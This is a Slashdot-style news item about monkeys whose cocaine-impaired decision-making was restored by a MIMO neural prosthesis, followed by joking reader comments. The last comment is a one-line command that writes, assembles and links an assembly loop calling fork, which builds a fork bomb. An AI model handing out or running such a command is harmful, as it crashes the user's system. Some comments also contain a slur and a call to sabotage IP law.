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Monkeys Made Smarter With Prosthetic Device
An anonymous reader writes "Scientists have successfully restored and, in some cases, enhanced decision-making ability in brain-damaged monkeys on cocaine by connecting a prosthetic device to their brains. 'In the study, the scientists trained five monkeys to match multiple images on a computer screen until they were correct 70 to 75 percent of the time. First, an image appeared on the screen, which the animals were trained to select using a hand-controlled cursor. The screen then went blank for up to two minutes, followed by the reappearance of two to eight images, including the initial one, on the same screen. When the monkeys correctly chose the image they were shown first, the electronic prosthetic device recorded the pattern of neural pulses associated with their decision by employing a multi-input multi-output nonlinear (MIMO) mathematical model, developed by researchers at the University of Southern California. In the next phase of the study, a drug known to disrupt cognitive activity, cocaine, was administered to the animals to simulate brain injury. When the animals repeated the image-selection task, their decision-making ability decreased 13 percent from normal. However, during these "drug sessions," the MIMO prosthesis detected when the animals were likely to choose the wrong image and played back the previously recorded "correct" neural patterns for the task. According to the study findings, the MIMO device was exceedingly effective in restoring the cocaine-impaired decision-making ability to an improved level of 10 percent above normal, even when the drug was still present and active.'"
Just let them wear a suit and go to business school. It's what they really want.
Fuck sharks, I want hyper intelligent, semi retarded cocaine monkeys with lasers on their heads!
Mod me down, my New Earth Global Warmingist friends!
There's just something about the phrase "decision-making ability in brain-damaged monkeys on cocaine"....
"They redundantly repeated themselves over and over again incessantly without end ad infinitum" -- ibid.
(holds up egg)
this is your brain on drugs
(cracks egg in frying pan)
this is your brain on drugs on cybernetics
(hundreds of little robots swarm and deftly fuse the egg back together)
any questions?
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
The feed back device didn't improve the monkey's intelligence, it simply undid some of the damage the crack did to them.
Really? Not even going to RTFS?
According to the study findings, the MIMO device was exceedingly effective in restoring the cocaine-impaired decision-making ability to an improved level of 10 percent above normal, even when the drug was still present and active.'"
Emphasis mine. Your other points may be valid, but this technique certainly did more than just undo the effects of the drug.
cat
Am I the only one that finds it disturbing that a scientific study gives a dangerous drug to primates in 2012?
Well it might improve the editing on slashdot.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;